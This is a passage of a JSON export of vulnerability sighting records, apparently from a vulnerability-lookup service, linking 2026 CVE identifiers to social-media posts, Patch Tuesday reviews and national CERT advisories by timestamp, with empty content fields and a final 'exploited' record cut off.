"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mdraen673t2c", "content": "", "creation_timestamp": "2026-02-01T02:01:22.004560Z"}, {"uuid": "b1ef6fb7-2335-4a41-8d86-4aeaaa37df78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24296", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "38c36be1-e871-4b04-999f-64af8aac62a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://bsky.app/profile/kubernetes.io/post/3me2axsu4ai2g", "content": "", "creation_timestamp": "2026-02-04T16:06:04.465005Z"}, {"uuid": "1be7a210-84d8-4151-ad83-33ab257dcce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mem54aeak22k", "content": "", "creation_timestamp": "2026-02-11T18:44:51.930731Z"}, {"uuid": "0580cbc8-6ded-4177-b47d-114de549c4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdrbwl5itf2w", "content": "", "creation_timestamp": "2026-02-01T02:29:17.830770Z"}, {"uuid": "b2ecd880-d4df-4aec-a1f0-ef4f54837c26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfsnz46cby2k", "content": "", "creation_timestamp": "2026-02-27T02:28:30.474880Z"}, {"uuid": "07500e2c-23c6-4819-bf82-691da2b2e3e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24350", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mftv4mnhta27", "content": "", "creation_timestamp": "2026-02-27T14:08:24.176680Z"}, {"uuid": "99ff07a9-3913-451d-85a8-93cd584c7e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mdl633jd5s2w", "content": "", "creation_timestamp": "2026-01-29T16:04:21.163992Z"}, {"uuid": "e226fec6-d5eb-4acb-ae49-10baeafa230b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/techtrendsjp.bsky.social/post/3mf3nfib4vd2d", "content": "", "creation_timestamp": "2026-02-17T22:46:18.570417Z"}, {"uuid": "25788d79-abc2-4f20-ae1a-bda3ccc21bca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mdl6673aes2q", "content": "", "creation_timestamp": "2026-01-29T16:06:00.083917Z"}, {"uuid": "1bf4f4b3-3be8-42ab-8fe8-a691803341cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24735", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2counlic23", "content": "", "creation_timestamp": "2026-02-04T16:36:50.994728Z"}, {"uuid": "ce3b775c-6009-46cb-84bb-bff2bc110c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116040660959566185", "content": "", "creation_timestamp": "2026-02-09T12:26:08.613750Z"}, {"uuid": "f78d8b65-7cdf-4afa-9865-8961cf9b2a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24517", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfso6cgu5u2e", "content": "", "creation_timestamp": "2026-02-27T02:31:24.625261Z"}, {"uuid": "cc36f3e6-ba66-4e37-a9b3-8c35f5f98c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mg5xbb7ju226", "content": "", "creation_timestamp": "2026-03-03T14:13:26.186406Z"}, {"uuid": "230cf16c-9573-48b7-81f2-7907e1f76124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24735", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3me2d7wdedj2l", "content": "", "creation_timestamp": "2026-02-04T16:46:22.636968Z"}, {"uuid": "69541330-a8dd-40db-a206-cbfe77d33685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/uazmi.news/post/3mf3o6pymfl2d", "content": "", "creation_timestamp": "2026-02-17T23:00:25.898821Z"}, {"uuid": "d69396c8-dea6-4e78-aed7-f5f79567bd99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24051", "type": "seen", "source": "https://gist.github.com/cwayne18/56fc3450ace002a78168f18150d3200c", "content": "", "creation_timestamp": "2026-03-02T22:44:05.000000Z"}, {"uuid": "629bbcc8-20b5-4211-81ff-6d8aa2c2bd52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24308", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116187426198968970", "content": "", "creation_timestamp": "2026-03-07T10:30:31.509301Z"}, {"uuid": "4a17f050-9367-463a-a5b5-b084dff4defb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mf5unsn3ur2i", "content": "", "creation_timestamp": "2026-02-18T20:01:33.162539Z"}, {"uuid": "73752f40-f1a3-482e-ab5a-e56952a2620d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24308", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mghmody7i22u", "content": "", "creation_timestamp": "2026-03-07T10:30:33.459729Z"}, {"uuid": "246bb918-5722-4c2a-9ded-b569415bb689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24297", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "9abcdb47-3f0a-4ed9-b8dc-eef5a20b97b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2471", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfvyarx3d42h", "content": "", "creation_timestamp": "2026-02-28T10:09:47.173510Z"}, {"uuid": "7d27cfc6-6f3b-48f8-8e9e-519db70fa5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2471", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfvyarxrhz2s", "content": "", "creation_timestamp": "2026-02-28T10:09:47.691280Z"}, {"uuid": "896c5296-c294-44c3-be82-280f195c08b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mdlb4d5nmc2q", "content": "", "creation_timestamp": "2026-01-29T16:58:39.192334Z"}, {"uuid": "0465bab8-db67-400c-8f3f-d6850d7a9827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24151", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhwcct2cj52k", "content": "", "creation_timestamp": "2026-03-26T00:00:14.227015Z"}, {"uuid": "8e7f2de2-2849-4d53-a8e2-1e9bcfac5485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi3ccaccgp2j", "content": "", "creation_timestamp": "2026-03-27T23:43:13.329712Z"}, {"uuid": "69095f04-6d61-4d13-8a0a-384015145ad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24750", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhwce5vwco2c", "content": "", "creation_timestamp": "2026-03-26T00:00:59.367057Z"}, {"uuid": "2b943445-c847-4300-9a8f-3f259d063193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24299", "type": "seen", "source": "https://bsky.app/profile/wiert.bsky.social/post/3mhoccouttk2b", "content": "", "creation_timestamp": "2026-03-22T19:38:52.469538Z"}, {"uuid": "c370403c-7d08-44c9-8d13-f433698c1601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2484", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwckpxssk2i", "content": "", "creation_timestamp": "2026-03-26T00:04:39.063797Z"}, {"uuid": "d1993fce-fd12-4073-95fe-b036e90ec679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24288", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "0ed23125-2116-45ff-b529-0dbca665c2fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24290", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "10e3ac1c-d6fb-4755-a029-9ef36eb5d0ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "ad45b543-5fad-4b8f-a1b8-3e8307e1424c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2483", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwdbcjpbb22", "content": "", "creation_timestamp": "2026-03-26T00:17:16.645860Z"}, {"uuid": "bb17d87b-8469-4386-9c95-486bfe442311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24448", "type": "seen", "source": "https://jvndb.jvn.jp/en/contents/2026/JVNDB-2026-006887.html", "content": "", "creation_timestamp": "2026-03-16T03:00:08.000000Z"}, {"uuid": "8e1abd23-f458-4b9e-a5c0-66e6a1855605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24289", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "d34aaf2a-5122-4f0e-9f6c-4c3cd315fce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24060", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116264221993424580", "content": "", "creation_timestamp": "2026-03-21T00:00:40.609516Z"}, {"uuid": "7f43d7fb-219e-48a6-966b-626825f59c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24060", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhjpyzxvht2u", "content": "", "creation_timestamp": "2026-03-21T00:00:42.293092Z"}, {"uuid": "0dcd2b77-20ac-42d5-ae5b-66bea9378932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24283", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "4e6d9ddf-a4d7-4712-bac8-42fc9e01fc6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "b7601a03-52c4-4eb3-bc3d-d622a2244817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24292", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "865362f9-d146-4f06-9e84-2da164db5aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2485", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhwf2tts4j2o", "content": "", "creation_timestamp": "2026-03-26T00:49:27.340591Z"}, {"uuid": "6d0fef85-9712-41d1-8b42-8234ecce1f28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24296", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "294493e7-65a7-403c-92e5-22e4a705723e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24297", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "5e4fdfe2-a02d-409e-bfb3-7a2d5f1295ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24287", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "176425b8-869b-469f-b1e7-cb0e3c859682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhm54mzwqa26", "content": "", "creation_timestamp": "2026-03-21T23:00:40.245086Z"}, {"uuid": "bb09a5fa-c29f-4a60-b6d4-bddec7370cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhm5zy7f452s", "content": "", "creation_timestamp": "2026-03-21T23:17:05.337779Z"}, {"uuid": "415924fc-78b1-42b0-8e44-c2d1ff1d1aa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhm64hlkty2n", "content": "", "creation_timestamp": "2026-03-21T23:18:28.288483Z"}, {"uuid": "06b0e12e-3f69-4e18-ae62-b5fae2f508f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24293", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "7f8b36a5-1451-4881-9d57-2301ad568de9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24448", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116210075473209867", "content": "", "creation_timestamp": "2026-03-11T10:30:29.833597Z"}, {"uuid": "1cfc1aaa-0e92-47dc-8060-d0e2300dada5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24152", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhwizfo5hl2w", "content": "", "creation_timestamp": "2026-03-26T02:00:13.740787Z"}, {"uuid": "ef9e1b09-d252-4874-b106-79c6b915458b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24282", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "80a2c44b-61ba-4ead-bcf9-bdbca7a87050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/appinn.bsky.social/post/3mhhnrhthlw2u", "content": "", "creation_timestamp": "2026-03-20T04:15:20.496600Z"}, {"uuid": "2e1da499-5425-4bdd-84a7-dd25d7c9e20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhjyfvfo642d", "content": "", "creation_timestamp": "2026-03-21T02:31:06.154172Z"}, {"uuid": "1f36fa20-b8a5-4da3-8265-a148f5eb1881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24285", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "cf2a9d2a-8695-443a-9421-fc02f0fcbb6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24695", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miblc2o6lx23", "content": "", "creation_timestamp": "2026-03-30T11:40:09.224397Z"}, {"uuid": "55204a46-2223-4e0a-9976-9c1ffa38dfc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24295", "type": "seen", "source": "https://isc.sans.edu/diary/Microsoft+Patch+Tuesday+March+2026/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:16.000000Z"}, {"uuid": "ad20ce21-0f8c-4d0d-8111-fb8094bba2d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "MISP/753d853e-290f-4a82-98e2-25e325fb4496", "content": "", "creation_timestamp": "2026-03-10T15:25:41.000000Z"}, {"uuid": "aacfcb19-704b-4853-8d8b-be44ac1a6fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24282", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "ab743a85-c6aa-4f59-a04c-1fa01b42202f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24293", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "ca7068d6-84d1-4e98-acbc-f35b7a137c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24287", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "02cce1ba-b8a1-43b1-8ca2-d8cc2d04dd56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24285", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "65e91cbd-c30c-4fec-b35f-0e682090e94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24001", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "423429ef-2cd9-499c-93c1-16c6fe82feed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24051", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "f462bb46-2ca7-465c-b574-53686decce46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "4df37d82-af6a-43ca-b5cf-6e1fc3a40b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1737", "content": "", "creation_timestamp": "2026-01-28T04:00:00.000000Z"}, {"uuid": "1337e4f2-ff85-4c74-98d1-9cb310c32a68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mi72ygcdxt2l", "content": "", "creation_timestamp": "2026-03-29T11:43:06.661009Z"}, {"uuid": "8b1730fd-91ff-4530-8677-31177f3df69e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mhbat22rb662", "content": "", "creation_timestamp": "2026-03-17T15:07:42.215789Z"}, {"uuid": "6a0ec49f-6c20-4f5d-b702-ee2d6eb0f500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdo3de6y72z", "content": "", "creation_timestamp": "2026-03-18T14:10:12.798072Z"}, {"uuid": "5600d269-7e2d-438a-b7b7-26f58eed8582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24283", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "e6f84ac5-37a2-423d-851c-c92f8b3f35dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "98fd7d57-5283-4d18-9e84-ab962227000d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0314/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "b60d7f46-a96a-44d3-a023-daab3f0b7c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24292", "type": "seen", "source": "https://isc.sans.edu/diary/rss/32782", "content": "", "creation_timestamp": "2026-03-11T03:00:20.000000Z"}, {"uuid": "3dd59b48-cd3b-435c-9e22-c183850e8ebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2413", "type": "seen", "source": "https://mstdn.social/users/Hackread/statuses/116221980166138780", "content": "", "creation_timestamp": "2026-03-13T12:58:00.392736Z"}, {"uuid": "1decb5b9-6b51-4334-b2fc-14e1c54b001f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": 